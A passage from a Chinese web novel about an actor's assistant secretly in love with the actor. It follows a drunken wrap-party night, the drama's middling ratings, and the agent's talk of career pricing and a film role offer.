可惜希望落空,叶幸司说跑就真去,直接代替俞悄,成为了今晚瞿承衍的陪跑搭子。 回酒店也是三个人一起回,一路上没有独处的机会,俞悄眼巴眼望地老朝叶幸司看,叶幸司也没朝他多瞅一眼。 直到回到自己房间,俞悄进门后在玄关杵着,完整地回忆一遍今天的状态,把自己都琢磨得莫名其妙。 什么东西,俞悄你到底想干嘛啊? 他小心翼翼地给老妈发消息:妈,咱家没什么精神病史什么的吧? 老妈的回复还没等到,小蜡的电话倒是打进来了。 “累死我了,终于忙完了。” 他拖着长音抻懒腰,戏谑地跟俞悄打招呼。 “什么情况了,小雨转晴还是转大雨了?” “转雷暴了。”俞悄十分无力。 他终于有了倾诉口,把刚才和叶幸司的对话复述给小蜡听,说完后茫然地问:“他咋没反应啊?” “你想要什么反应?”小蜡比他还迷茫,“他真疏远你不炸了吗?” “那我也……” “你先告诉告诉我你想怎么样行吗?” 小蜡抓住问题的关键。 “你是想让他知道你喜欢他了,然后你俩处对象?还是什么?” “我不知道。”俞悄诚实地回答。 “我只知道我不想再像之前喜欢周行东一样,被牵着鼻子走了。” 小蜡“哎”一声,开始护短:“不是哥们儿,谁牵你了,关我东哥什么事儿啊?” “我不是那意思,”俞悄头更大了,自己都没哄明白,还得哄小蜡。 “我是说那种喜欢一个人然后受影响的状态,你能听懂吗?” “你状态不状态……” 俩人正吵吵着,俞悄的房门被摁响了。 “出来。”叶幸司在门外说。 第52章 “我靠,找我了!” 俞悄往地上一蹲,用气声打断小蜡:“找我了!你别说了!” “找你了?叶幸司啊?”小蜡下意识也跟着捏嗓子,“给你发消息了?说啥。” “没,敲门呢。” 俞悄往门口挪了一下:“奇怪,我蹲下干嘛。” “那你去开门啊,快去。” “他找我要说什么?”俞悄紧张地原地做蹲起。 “我哪知道!”小蜡受够了,“聊完记得跟我汇报。” 和小蜡的电话刚挂,叶幸司的电话就进来了。 俞悄刚到门口,被来电震得心里一慌,一手摁下接听,另一只手同时把门板拽开。 “嗨。” 他看着房门外的叶幸司,对着手机打招呼。 叶幸司没有表情地看他几秒,垂眼点一下屏幕,先把电话挂掉。 “在房间怎么不开门。” “我没听见。”俞悄抓抓脸,有些尴尬,“你跑完了?” 叶幸司“嗯”一声,从兜里掏出什么东西,往俞悄怀里一抛。 是一盒布洛芬。 俞悄接住看看,再看眼叶幸司,又垂下脑袋盯着布洛芬。 “头还疼吗。”叶幸司问。 “不疼。”俞悄刮着药盒上的“缓解头疼”那一行小小印字,声音也小小的。 “听不见。” “我说不疼。”俞悄心口发胀,吸了口气看着叶幸司,“本来就不疼。” 叶幸司的表情毫不意外,没不高兴,没觉得被耍,也没有别的。 他好像对任何事都不容易意外,不论自己的,还是他人的;不论什么状况,好,还是坏。叶幸司都既不意外,也不好奇,不知道他到底在想什么。 也意外过。 俞悄的思路漫无目的地发散。 被人家原作者指定去演花瓶的时候。 但连那时候的意外,叶幸司也只表现出一丁点儿,重点还是放在角色上。 他在乎的只有拍戏。 只要有戏演,他对什么都可以包容。 “我骗你的,没头疼。” 俞悄感到一股突如其来的平静,不紧张也不毛躁了,他的内心小雨暂停,弥漫起静谧的大雾。 “下午我也不是为了去吃东西。” “我突然发现了一个小秘密,想自己待一会儿,就直接跑出去了。” “刚才在片场跟你说的那些话,也是逗你的。” 叶幸司的眼神变化一瞬,闪过什么情绪,俞悄没看清。 不过此刻的他也不好奇了。 “回去睡觉吧,明天我喊你起床。” 他朝叶幸司笑一下。 叶幸司稍稍往前一递脚,用鞋尖抵住俞悄准备关上的房门。 “哪一句。”叶幸司问。 “啥?”俞悄眨眨眼。 “逗我的话,哪一句。” “我都忘了我说啥了。” 俞悄半个身子藏在门板后,门把手攥得死紧。 “不陪我演戏,尤其是恋爱戏。” 叶幸司开始复述。 “我做好我的艺人,你做好你的助理,只有工作关系。” “保持距离,”他把门板又踢开一点儿,“不要离你太近。” “还有……” “啊啊啊!” 俞悄耳朵根儿发紧,忙打断他,不敢继续往下听。 “对,就是这些!都是逗你的。” “行了你快睡觉去吧!烦死了。” 叶幸司的嘴角一点点勾起来,收回了抵着门板的脚。 “晚安。” 俞悄这晚睡得很安稳。 因为他躲也躲了,说也说了,然后他明确地意识到:只要想到叶幸司的演戏事业,他所有的其他念头,就全都不由自主地位列其后。 被感情牵着鼻子走,是俞悄不想要的东西。 让叶幸司火起来,有戏接,是他现在最想做的事情。 区区的喜欢而已,他最会藏了。 这场莫名其妙的心理波动,莫名其妙的小小冷战,又被压了下去,成为叶幸司和俞悄在《天王》拍摄期间的小小插曲。 唯一被这场插曲影响到的人只有小蜡。 人本来对俞悄的破碎心事毫无兴趣,被俞悄又是消息又是电话的,硬是把胃口吊起来,结果没后续了。 “什么啊,你梦游了吧?”俞悄装作什么都没发生过。 “你才梦游,你是梦游狗。”小蜡十分气愤,“以后再听你那些破事儿我也是狗!” 俞悄乐得不行,给小蜡发了个安抚红包:“你本来就挺狗。” 红气养人这句话,体现在娱乐圈的方方面面。 顶配的班底和正火的演员,让磨合期的种种问题都很好克服。 比如瞿承衍的普通话,还有叶幸司的演技。 “幸司有点儿遇强则强的意思。” 这是程立方的原话。 俞悄当时在旁边听着,腰一叉,胸膛挺得老高,好像叶幸司是他生的似的。 《天王》的拍摄比预想中顺利,毕优的热度也持续辐射着叶幸司,为他附加红利。 “两个广告,月饼的,还有之前赞助《塌房》的那家狗粮。哪天没戏抽半天空就去拍了。” 俞悄收到纪繁西的消息,开心得不得了。 “这次有钱拿吧?”他谨慎地问。 “瞧你那点儿出息。”纪繁西笑得不行,“我是后妈吗?” 那还真不好说。 俞悄腹诽,之前叶幸司跟后妈养的没区别。 不过这些远远不够。 俞悄三天一条消息五天一个电话,催他老姨给叶幸司接戏拍才是正经。 “要好剧本。”他强调,“你那些歪门邪道的心思别往我们身上使。” 提到歪门邪道,俞悄突然有点儿想念蒋雨池。 “好久没听他的消息了。”他搜着蒋雨池的微博问叶幸司,“最近给你打电话作妖没?” “没有。”叶幸司研究着他的剧本,“他进组了。” “他进什么组?”俞悄扭过脸,“你这么清楚呢?” “我使用智能手机。”叶幸司瞥他。 蒋雨池还真进组了。 俞悄去搜索一圈,不过不是剧,是他们那个选秀节目的团综。 录综艺期间也没耽误他天天发微博,动不动整个做作的自拍发出来,评论区的粉丝们机器人一样,齐刷刷地复制着口号,呼吁大家关注蒋雨池的新作品。 “综艺也叫作品啊?” 俞悄是真不明白娱乐圈里对于“作品”的定义,就像他不理解“老师”成了谁都能当的大众称号。 “不过好看的综艺挺捧人的,回头看看有机会,能不能上一期那几个火综。” “没兴趣。”叶幸司头都不抬了。 “看你的剧本吧。”俞悄有自己的想法,“好像人家请你了似的。” 《天王》拍摄后期,《爱在东南角》传来好消息,送审通过。 虽然删了些东西,但都跟叶幸司的剧情无关,现在在等下证定档。最多两个月,《爱在东南角》就能上线播出。 “好快啊。”俞悄激动又忧愁。 激动是开心叶幸司的剧快播了,忧愁是除了两个广告,下一部戏还没有着落。 毕优不行再写本啥吧。 俞悄盼望着天上再掉个馅饼儿,再给叶幸司来个指定。 馅饼没掉下来,毕优本人倒是来探班了。 《天王》拍杀青戏那天,她戴着个小帽子,被程立方带到片场。 毕优很瘦,白白净净的,人也大大方方的很礼貌,看不出抑郁。众人围过来打招呼,倒让她比明星还像明星。 “哇,真的帅。” 见到叶幸司,毕优发出感慨。 “演戏有时候也是真愁人。”程立方这句话一接,全片场都笑起来。 “那很还原了。”毕优边玩梗边鞠躬,叶幸司跟她对着鞠。 晚上的杀青宴毕优也参加了,但是什么时候走的,俞悄不知道。 ——他什么都不知道,《天王》这群人太能喝了。 《爱在东南角》跟《天王》比起来,完全就是中学生聚餐。 俞悄吃完《爱在东南角》的饭还能走路能说话,跟叶幸司学蒋雨池的搞笑瞬间。 《天王》杀青,白酒一箱箱的抬,会不会喝都拉着灌,各个都喝得大舌头啷叽。瞿承衍那普通话本来就费劲,半场就喝下来,根本不说人话。 俞悄没喝过白酒,两瓶啤酒灌完就晕乎,被气氛带着又喝了一小盅白酒,整个人栽在沙发里不知四六。 半夜两点半,第一轮宴席结束,他是被叶幸司给背回酒店的。 “我怎么在天上?” 俞悄被电梯上升的动静晃悠醒,下巴垫在叶幸司肩头上往下看,区分不出是不是自己的腿在走路。 “醒了?”叶幸司朝旁边偏偏脖子。 “谁?”俞悄跟着往他耳朵根上凑。 叶幸司停下脚步,把俞悄放下来靠墙站着,掏他兜里的房卡。 “痒。” 俞悄咕哝着乱躲,又把脑门抵回叶幸司肩头上。 “他们灌你你就喝?” 叶幸司无处下手,俞悄七手八脚的,刚推开脑袋,胳膊腿儿又架上来了。 “别动。” 他伸手卡上俞悄的脖子,把人扣在墙上。 俞悄从鼻腔里哼唧一声,真不动了,抽了骨头似的垂下胳膊,任由叶幸司摆弄。 叶幸司拿出房卡,深深地看他一眼。 他把俞悄扶进屋里,先搁在沙发上,问:“吐一下吗?能舒服点。” 俞悄不吐,老实地坐着,好像突然清醒了,只盯着叶幸司不眨眼。 “叶幸司。”他开口喊。 “嗯?” “你是橙子味的。” “什么?”叶幸司没听明白。 俞悄抬手,摸了摸叶幸司的嘴。 第53章 再冷漠的男人,嘴巴都是柔软的。 俞悄晕当当的脑袋里冒出这么个念头。 他其实看不太清东西,眼前一阵阵泛着黑花,以为自己在梦里,知道眼前人是叶幸司,却不是真实的叶幸司,所以可以放着胆子闹。 从嘴角摩挲到叶幸司的人中,他的指腹顺着鼻梁描上去,想去戳叶幸司的眼。 “够不着。” 俞悄胳膊伸累了,又一脑袋歪回沙发里,叹口气。 叶幸司不说话,站在沙发前,一直垂眼看着他。 “过来点,你歪了。” 从俞悄的视角,叶幸司是斜着的。 他拍拍沙发沿:“过来蹲着。” 不真实的叶幸司果然听话,真的靠过来了,却不是蹲着。 他俯下身,手掌抄进俞悄的后脖颈和沙发之间,把他托起来。 “干什么?”俞悄梗着脖子不配合,往外推他。 “别闹。”叶幸司皱眉,“去床上睡。” “哦。”俞悄有些失望,“我以为你又想亲我。” 叶幸司的动作一顿,整个房间都静谧下来。 “真喝多了?” 他没收回手,捧着俞悄的后脑勺,就以这么近的距离盯着。 “你和柳巧拍亲嘴的时候,是怎么亲的?” 俞悄答非所问,想到什么说什么。 “真的用手挡着了吗?” “我咋看不出来呢。” “你是不是就想亲人小女孩啊?男的不行吗?” 他又往叶幸司嘴上摸,还想戳人鼻孔。 “我看看你有没有鼻屎。” 叶幸司把俞悄的手摁下去,大拇指挡在他嘴上,亲了一下。 “这样亲。” 他就以这样的距离,低声问俞悄:“学会了吗?” 俞悄没有嘴说话,他几乎是条件反射,嫌嘴上挡了东西,张嘴把叶幸司的手指咬进嘴里。 “啪。” 叶幸司轻轻给了他一嘴巴。 “吐出来。”他命令俞悄。 俞悄愣愣地张开嘴,浑身一哆嗦,打了个激灵。 “我想尿尿。” 叶幸司扬了下眉毛。 俞悄别过脸推开他,从沙发里扑腾起来,挨了打的脸与后脖颈持续发着烫。 “要帮忙吗。”叶幸司问。 “不用。”俞悄像是突然清醒了,钻进卫生间不出来,“我没事,你回去吧。” 房间里又安静一会儿,传来门板关合的声响,叶幸司走了。 俞悄在马桶前站了半天,低头盯着自己的某个部位发愣。 他石更了。 俞悄对于那种事儿的了解非常稀少,他总躲着周行东的亲密意图那段时间里,甚至严肃地思考过,自己是不是有点儿那什么冷淡。 不应该。 看了些小片子后,他否认掉这条可能性。 他是有感觉的,而且还挺强烈,看着画面里两位人类嵌合的瞬间,他尾巴骨都跟着发麻。 他就是平时很少想到这些东西,觉得不好意思而已。 不怎么想自然看得少,俞悄对于很多名词的理解也浮于表面,没有深入研究过自己的喜好和偏向。 他一直以为自己就是大众款,没有特别的性不性癖。 叶幸司那一巴掌,给俞悄打得又清醒又迷茫,还很羞耻。 唯独没有正常人该有的恼羞成怒。 不过清醒也没清醒太久,俞悄是真喝晕了。 洗漱完倒在床上,他烙饼似的翻腾几圈,昏昏沉沉睡了过去。 第二天彻底醒过来,他回想起昨晚自己干的事,回想叶幸司力道暧昧的那巴掌,回想着叶幸司说那句“吐出来”时的眼神与口吻,俞悄后脑勺发麻,酒醒之后带来的冲击感更加鲜明。 他抱着脑袋,发出崩溃的呻吟。 “你是说,你被他一巴掌打出感觉了。” 小蜡前几天刚发誓再听俞悄说他的事就是狗,可这个话题实在让人无法拒绝。 俞悄也是实在需要找人倾诉,他感觉自己被小蜡带得越来越不要脸了。 “这对吗?”他很迷茫。 “你是说,你是个M。”小蜡又说了个肯定句。 “什么玩意?” “你搞这么纯情干什么,都是成年人。没在床上喊过爸爸啊?” “你说啥呢!”俞悄脑子里直接出画面,代入的还是他和叶幸司,整个人都熟了,“我又没……” “什么玩意?”这次是小蜡震惊,“你是说,你和我东哥没做过。” 俞悄无法忍受他的陈述句式,画面人物变成周行东还有点儿恶心,他冷静地把电话给撂了。 小蜡还是有点用的,有了这么开放的心态做对比,俞悄顿觉自己也没干什么出格的事。 叶幸司那边更是不用担心会尴尬,反正他一定会装得没事人一样。 给自己做足心理建设,他麻溜地收拾东西,准备回家。 叶幸司的反应和预想中一模一样。 俩人装模作样都有默契了,除了俞悄去机场的一路上都躲着叶幸司的眼睛,除了必要的交谈,一句多余的话都不敢多说。 这次杀青后没有俞悄想象中清闲,《爱在东南角》即将上线,剧组正式发力宣传,发布会、补录后采、各种线上线下的小互动……叶幸司要配合工作,俞悄自然要跟着跑前跑后。 他原计划躲几天醒醒脑子,现在躲无可躲,也忙得没空继续寻思。 同样摩拳擦掌忙活起来的,还有叶幸司的那群死黑粉。 预告片里的叶幸司挑不出大毛病,这让黑粉们的恐慌程度不亚于发现自己起反应的俞悄。 “什么意思,演得这么正常,我推塌房了?” “预告肯定往好了剪啊,现在就开始尬吹进步想干啥,还嫌我哥不够黑吗。” “笑死,老师你也没放过他。” “#叶幸司忘本[大哭][大哭]” “很喜欢这个超话,大家都很团结,说话也一个比一个好听,让人心里暖暖的。” “换脸了吧,ai技术的卓越体现。” “所以NG一下午的戏是哪一集?” …… 逛一圈超话出来,俞悄这次看这些黑评,只觉得扬眉吐气。 “蒋雨池好帅”最近不活跃,还让他有些小失落,专门摸去人家微博点了个赞。 “下周三晚上七点半。” 《爱在东南角》定档时间公布,俞悄给叶幸司打电话,信心满满。 “叶幸司,准备给我火。” 第54章 《爱在东南角》的收视热度,如果要用一个例子来做比方的话,大概就是手机游戏里的消消乐。 有一定的受众群体,但对大部分爱玩手游的人来说,但凡手机里还有另一个游戏,就不会想起主动点开它。 《爱在东南角》签了蜻蜓的独家,同期在播的还有白桃的古装玄幻,艾浩的都市犯罪,以及一干七七八八,或火或糊的大小剧。 这还只是蜻蜓一个平台。 另外三大平台的在播剧加起来,纪繁西专门做了个数据分析,《爱在东南角》的收视率,大概能排在中游。 “中下游。”纪繁西严谨地纠正,“中游末端。” “差不多得了,中游什么端也是中游。”俞悄划拉着鼠标上下看,“扫兴的经纪人。” “你就是接受不了事实。” 纪繁西挥开他,又点开一份数据表格。 “叶幸司的话题度还可以,有点反超男一的趋势。” 男一还是男三,哪怕把女一也算上,三个人加起来的热度,也敌不过蒋雨池一个人。 《爱在东南角》能挤进中游,俞悄再不乐意也没办法不承认,一多半是蒋雨池的功劳。 能没话题吗。 俞悄最近一直在关注网上的评论风向。 哪怕抛开蒋雨池本人本人的热度,光换角、顶位劣迹艺人这两项,都足够议论一阵子。 探讨蒋雨池到底够不够贴脸的、对比前后两任演员演技的、支持的与无法接受的……包括骂林二部真是人如其名吃饱了撑的,以及第一部那个男二的劣迹事件,共同组成了《爱在东南角》的数据环比。 “雨池的数据其实不太理想。” 纪繁西对于这点并不满意,按蒋雨池的粉丝大盘来算,远没有达到她预想中的效果。 “又不满意了。” 俞悄不是那种见不得人好的红眼病,可在这件事上,他实在忍不住不去幸灾乐祸。 “那当时非要给人接,满脑袋话题度话题度的,这话题度上来了又不理想了。” “今天我看还挂热搜呢,大粉吵架又把人户给开了,不知道谁买的,让蒋雨池做好粉丝管理。” “最近反正没见他名字后面挂什么好词条。” 纪繁西去微博看了一圈,不耐烦地“啧”一声。 “哎呀,没事的,黑火也是火嘛。” 俞悄笑得眼睛都眯起来。 被纪繁西瞪眼骂几句,他美滋滋地闭上嘴,抓了把零食开吃。 《爱在东南角》的收视不理想,难免让人失落,可也在俞悄的预料之内。 他当然想叶幸司能一步登天,直接爆火。可这部剧的质量就在这,要真像《西楼》似的炸翻全网,那内娱才是真的完蛋了。 而且。 俞悄对着纪繁西的表格,对比他自己给叶幸司做的记录——不和其他因素做比较,叶幸司本人的热度是有明显提升的。 他没有专业的数据分析手段,也不懂什么身价折算变现,只通过最直观的渠道:叶幸司的粉丝增长幅度,来做最基本的计算。 《爱在东南角》为叶幸司带来的流量,是《塌房》时期的两倍有余。 话题相关也没有乱七八糟的东西:颜粉嗑颜、黑粉对比演技、女三cp粉嗑cp,兼与女一cp粉吵架。 但是这次嗑cp的主力军不是俞悄那一小撮邪门粉了,是正儿八经的剧粉,从男三和女主这条线,嗑到叶幸司和柳巧。 “官方也跟捧臭脚似的,更新哪对儿的剧情,就把哪对儿往暧昧了预告。” 俞悄对此有些不爽,却不好表现,假装请教纪繁西。 “电视剧宣传都是这样吗?不会有啥不好的影响吧?” “什么影响?这也没炒演员cp啊,不都是剧里的东西。” 纪繁西都听不懂俞悄在说什么。 “真想炒弄得跟谈恋爱似的,都看不出真假。” 俞悄想想叶幸司和柳巧谈恋爱,再想象一下和白桃谈恋爱,偷偷撇嘴,只觉得不合适。 叶幸司本人对于这些东西完全没关注。 《爱在东南角》的更新他每天都看,但只看有他剧情的部分,看自己的演技。 其他话题一是他不关心,二来,他也没以前那么空闲了。 借着热度上升,虽然还没有合适的剧本,不过一些小广告小代言,个别网红的直播间互动,一些不温不火综艺节目的飞行嘉宾,纪繁西开始批发似的给他揽。 俞悄和叶幸司斟酌着挑选,不愿意什么都接,也忙活了好一阵子。 这么几个月下来,叶幸司又开始拒绝这些东西。 “给我们接戏,别整这些鸡零狗碎了。” 俞悄这次支持叶幸司的决定,通告不断是能稳人气,没作品全是白扯。 况且他感觉自己天天跟着瞎跑瞎忙,都好久没和叶幸司好好说过话了。 “你俩就跟那个黑猩猩一样。看过那个黑猩猩要钱的表情包吗?” 纪繁西抱着胳膊瞪这俩人,又气又想笑。 “这个好吃。”俞悄开了一包面包丁,拉叶幸司胳膊,“伸手我给你倒点儿。” “就这么手一伸,特别理直气壮,跟欠你俩似的。”纪繁西在模仿黑猩猩。 “少吃这些。”叶幸司拒绝小零食。 “没有那些鸡零狗碎的,怎么维持曝光度,上哪给你们整戏拍?”纪繁西拍桌子。 “真挺好吃的。”俞悄开始搜同款。 叶幸司“嗯”一声,瞧见纪繁西桌上有几个剧本,拉过来翻着看。 仨人各说各的,纪繁西眼仁儿一翻,把零食和剧本都劈手夺过来,终止这场闹剧。 “谁的?”叶幸司问剧本。 纪繁西说了个她手底下大艺人的名字,叶幸司微微一抬眉梢,没再多问。 “我们的呢?”俞悄看不得叶幸司这样,怪心疼的。 “也不是没有,但是角色都不合适。”纪繁西实话实说,“我就没接。” 叶幸司的需求到现在都很简单,就是想拍戏。 俞悄比他多顾虑一层,叶幸司级别不够的时候他都想挑剧本,演了程立方的剧之后,他心更高了,只想让叶幸司吃好的。 而纪繁西作为资源枢纽,最关键的经纪人,不仅要为艺人考虑,更多时候,她要从公司的利益角度出发想问题。 如果叶幸司没被毕优指定《天王》的男二,肯定手里有什么,纪繁西就像喂鸡似的,给叶幸司扔点什么。 恰恰也是因为演了程立方的剧,现在的叶幸司,反倒处于一个比较尴尬的位置。 “我之前不是告诉过你,艺人是有价码的,身价只能涨,跌了就代表出问题。” 纪繁西开始长篇大论。 “这个问题不仅仅是艺人本身的问题,公司,后续的资源,环环相扣。” “之前你们不要钱接广告,可以。现在接过《天王》,哪怕没活儿干饿死在家里,公司都不可能把价码放得特别低,就为了给你多接几部戏。” “这样不仅叶幸司以后不好要价,公司的门槛也会显得很低,能明白吗。” 俞悄大概能明白。 说白了就是毕优的指定,让公司利用这个机会赚了笔大的,远超过叶幸司这个水平应有的报价,结果现在把自己架那儿了。 有意愿找叶幸司拍戏的,被公司的报价吓跑。 公司又不好把价格压得比《天王》低太多,这些价位在圈内基本等于透明,压回到之前的价位,纯纯招人笑话,以后想给叶幸司往上提都不好提。 属于是公司又想赚钱,又想要面子,现在两头占不着,所以只能接点小通告给叶幸司跑。 捋明白这之间的弯弯绕,俞悄半天说不出话。 他看着眼前一口一句价码的纪繁西,比以往任何一次意见相悖时,都感到陌生。 平时的理念不合只存在于观念上,至少出发点都是为了艺人的发展。 此刻的纪繁西,则是个完全的商人。 怪不得在职场里只让他称职务。 俞悄说不上来什么滋味,既理解她,又不免感到失落。 牵扯到利益,确实什么亲疏关系都得靠后。 叶幸司对这些比俞悄更明白,一如既往的不说话。 俞悄面包丁都吃不下去了,朝桌上一抛,说:“所以你们现在的计划,是为了面子,活活把叶幸司饿死。” “埋不埋汰。” 纪繁西又变回那个熟悉的老姨,甩了张湿巾让俞悄把桌子擦干净:“饿死他对我有什么好处?” “那咋整呢。”俞悄歪歪脑袋。 “所以我在等。”纪繁西说。 “等什么?” “好剧本。”叶幸司和纪繁西同时开口。 俞悄无语地瞅着他俩:“你俩又成一伙的了。” 纪繁西的想法也确实是那么回事儿——演员在好剧本面前的妥协,为了机会放弃酬劳,甚至用不堪的条件去交换,这种事在行业里屡见不鲜。 潜规则这套纪繁西看不上,叶幸司本人也不会答应,所以都愿意等着。 至于俞悄,本来就觉得好剧本更重要。 虽然出发点不同,但这一回,三个人首次达成了共识。 “嗯嗯。”俞悄真诚发问,“那么尊敬的纪姐,好本子为什么会主动来找叶幸司呢?” “别气我了。”纪繁西的精英神色一秒垮掉,头疼地倒在转椅里,“我比你还急。” “昨天承衍哥给我打电话。” 半天不咋吭声的叶幸司,突然不急不慢的开了口。 “左槊的电影在准备选角。” 第55章 “谁?” 俞悄眼睛都瞪圆了。 纪繁西也面露惊讶,但很快被兴奋取代,她简直双眼放光:“对,左槊是投了一部电影。” 左槊这个名字,这些年没怎么出现在荧幕上。 他上一部主演的作品包揽三大金奖,为他拿下影帝全满贯后,就有点淡出江湖的意思,除了偶尔客串一下好友的作品,事业重心明显从荧幕转为投资。 俞悄最近一次从网上看到他的消息,是在电影节做评委,和老美一位知名大导聚会谈笑。 “他拍上电影了?” 相比起纪繁西的惊喜,俞悄的重心完全跑偏。 ——术业有专攻,演员拍电影和自己导电影,那可是两码事。 拍了二十年好电影的大导演,拍两部烂片都会被抹杀成绩。 特别好的演员自己当导演,结果拍出一坨大的,连带着自己的风评也被影响,这种事例不胜枚举。 诸如此类的还有跨界搞臭自己的口碑、上综艺上真人秀上到真塌房、接广告接代言做实体整出一堆烂瓜…… 俞悄总忍不住为这种事惋惜。 “左槊也缺钱?”他忍不住问,“他继续消消停停演戏不好吗?” 叶幸司瞥过来一眼。 神就该好好在神坛上呆着。 俞悄打心底里这么认为。 辉煌半辈子了,要是因为拍部烂片被网络喷子骂一头血,想想他都觉得难受。 “是他正面买下来投资的。”纪繁西已经打开电脑搜罗信息了,“自投自演,不导。” “什么?那太好了!”俞悄的眼睛一亮。 纪繁西看他这天真的样子,就把亲外甥的想法猜了个八九不离十。 “现在不是以前了,少爷。” 她笑着嘲讽。 “那种一个大腕挑大梁、众星捧月的荧幕时代早就过去了。” “没发现吗?从国家下手段管控后,电影基本都是大群像。一群明星领角色,谁也别想抢谁风头,谁也别想一手遮天。” “就那么点资源一堆烂片,还有一大群人分不上呢,不愿意拍有的是人拍。” “左槊那种级别,让他给谁作配?他自己都不能接受这种落差。” “就算他想去分电影这块蛋糕,拍好拍烂的也不犯毛病。” “谁会嫌钱多啊。” 纪繁西说到这里,俞悄还没听不下去,叶幸司先笑了一下。 “乐啥呢?”俞悄问。 叶幸司摇摇头:“没事。” 纪繁西撩起眼皮瞅他一眼,清清嗓子端杯子喝水。 感慨归感慨,八卦归八卦。 惯着“左槊”这名字的电影,是个演员就没办法拒绝。 更何况还是电影。 “我真觉得你更适合拍电影。” 俞悄想起小叶幸司最开始那部文艺武侠片,那双黝黑平静的眼睛,一直莫名印在他心里。 “是吗。”叶幸司动动眼珠子。 “嗯呢。”俞悄说真的,“你和承衍哥的感觉还蛮像的。但又不一样。” “剧本有点平。”纪繁西专注于分析价值,越看越拧眉,“左槊怎么拍起这种东西来了。” “我看看。”俞悄把电脑拽了过来。 梗概看起来确实没什么意思,很生活的一部片子,以一个普通中年男人的视角,讲述他平凡又一地鸡毛的人生。 普通的家庭,普通的成长,普通的工作,普通的妻子和婚姻。 没有特殊的机遇,没有相扶的贵人。儿时或曾拥有过的英雄梦,在平凡的生活里早已打磨殆尽。上学时爱玩的电脑游戏,在与生活的对垒中渐渐没了兴趣,每天两点一线,从公司到家里,从家里到公司,麻木又习以为常。 男人的日子和他的个性一样平淡,与妻子没有爱情的激情,但也还算温馨。 可随着儿子出生,年龄整张,平凡生活中的繁琐越发显现出来。 生病的母亲、产后抑郁的妻子、职场危机、育儿分歧、婆媳矛盾、财务紧张、破事不断的两方亲戚……种种问题堆叠沉冗,让这个男人身心俱疲。 终于,在妻子那叛逆弟弟的怂恿下,他抛开一切,做出了一个从小到大最不普通的决定。 而他的生活,也悄然开始改变。 …… “抛开一切?” 俞悄看不下去了,后面的人物设定都不想继续翻。 “他老婆还抑郁着呢,他抛开啥啊?日子不过了?” 老俞家照顾女性的家风太深入骨髓了。 稍微代入一下,如果老妈产后抑郁一堆破事,老爸抛开一切不管了,他光想想就一股无名火。 纪繁西的性格更看不得这种东西,直接嗤笑一声:“大男子主义。” “拍这玩意不是找骂吗?还是说后面会反转?也不写明白。”俞悄有些不适,“关键哪有角色能试啊?” 他瞪着叶幸司:“瞿承衍让你去给左槊演儿子?” “也就那个叛逆的妻弟吧。”纪繁西不用看都猜到了。 叶幸司对剧情没发表意见。他直接把页面下滑,找到妻子的叛逆弟弟。 “这个。”他示意俞悄看。 不看具体的人物小传还好,看完这个妻弟的设定,俞悄的脸色直接古怪起来。 “你看了吗?”他先问纪繁西。 “怎么了,这个表情。”纪繁西又把电脑拉回去。 看完后,她笑了笑,神色突然有些玩味暧昧起来。 “啊,同性恋。”她又喝口水,“还吸|毒。” “怪不得瞿承衍自己不接呢。”俞悄都不喊哥了,心里一股难以形容的忿忿。 他猛地扭脸冲着叶幸司发问:“你不是……” “什么?”叶幸司盯着他。 俞悄嘴巴张了又张,当着纪繁西的面,还是把话咽了回去。 你不是连卖腐都不愿意? 他想问叶幸司。 演同性恋就愿意了? “先别管这个了。” 纪繁西知道俞悄的取向,但她懒得问,问题的关键也不在这。 “能拿到角色再说。” 对剧情和人设再不解也好,犯嘀咕也好,左槊的电影依然是最大的金字招牌,绝对不缺人竞争。 如果能拿到这个机会,对叶幸司而言,比拍十部垃圾电视剧都强。 可俞悄这次没有直接投赞成票。 他心情复杂地站起身:“我们回去商量商量。” 第56章 “你好像不是很喜欢这个角色。” 回去的路上,叶幸司问俞悄。 “啊。”俞悄脑袋有点空,其实也不太知道自己在想什么。 “要跟我商量什么。”叶幸司又问。 “我也不知道。”俞悄诚实地回答。 有什么好商量的呢。 叶幸司现在的发展,就像一个有忌口的人饿得七死八活,再没东西吃就要死了。 这时候左槊扔一口吃的过来,哪管平时忌口不吃鸡鸭鹅还是牛羊肉,哪管扔来的食物是新鲜的还是腥烂的,都得闭着眼去抢。 同性恋的角色也好,吸毒的角色也好,哪怕全片肉眼可见,是一部不符合“政治正确”、拍出来就会挨骂的主题。 叶幸司没有任何挑选的余地。 更别说还有不知多少同样饥饿的人在摩拳擦掌,即便他们去抢,能抢到这角色的可能性都低得可怜。 对啊,明明连能不能拿到角色都是未知数,俞悄更不知道自己在纠结什么了。 关键他自己都是同性恋,为什么对于让叶幸司接这样一个角色,会从心里感到空落落的惆怅呢。 “我刚才其实想问,”俞悄清清嗓子,“你不是不接受卖腐吗?” 叶幸司扭脸瞥他。 “但是能接受这种角色?” 叶幸司对于这个问题的回答轻描淡写:“两码事。” “哦。”俞悄点点头,没再说话。 “你很介意?”叶幸司反问他。 “没有。”俞悄真的说不上来,“想拍那就开始准备吧。” 左槊这个项目筹拍得很低调,他似乎没有把这电影当作商业片来运作。 如果不是瞿承衍提前给叶幸司放消息,以叶幸司的资历,人家电影上映了他都够呛能拿到内部信息。 纪繁西负责面上的联络与沟通,叶幸司跟瞿承衍私下里联络。俞悄没什么能做的,叶幸司给他下了个任务,让他把那些古今中外,带有同性题材的经典电影都给找出来,下在他电脑里。 他要开始针对性地学习了。 “咋,内定你了?”俞悄眼皮一掀一掀地往他脸上瞅。 “未雨绸缪。”叶幸司认真得一板一眼。 俞悄本来想开句玩笑,让他找两部那种小片子看看得了,都说不出口。 “给你拉个单子你慢慢看呗,整这么费劲。” 几部电影照下来,俞悄开始嘟嘟囔囔。 同性电影他自己都没看过多少,俞悄打心底里觉得感情这东西跟取向就没关系,题材更像是一种噱头,搬上荧幕不免会强调这份感情的禁忌性,加深加大悲怆的一面。 以前喜欢周行东,现在暗恋叶幸司,都已经很辛苦了,俞悄更愿意多看点轻松的东西。 可自己的艺人要这些电影做教材,那就不一样了。 明面上能搜到的片子都有删减,俞悄要么不找,要找就想给叶幸司找到最完整的,而完整度有了又想追求分辨率。 最好的资源从来都不在视频网站上,而在各种论坛平台的好人哥们手里。 也不一定都是好人:有些免费分享,有些还要收资源费。 俞悄对于要收钱的资源哥都用冷冰冰的口吻说话,还故意不说谢谢,发泄一些无人在意的窝囊不满。 几部片子翻找下来,虽然费事,这个过程还挺有意思,简直有点儿像寻宝。 “真是有需求就有市场,不管什么样的电影,多小众的赛道,都有它的受众去收藏。” 俞悄又有感慨了。 “牵扯到人性的东西,哪有禁得绝的呢。” 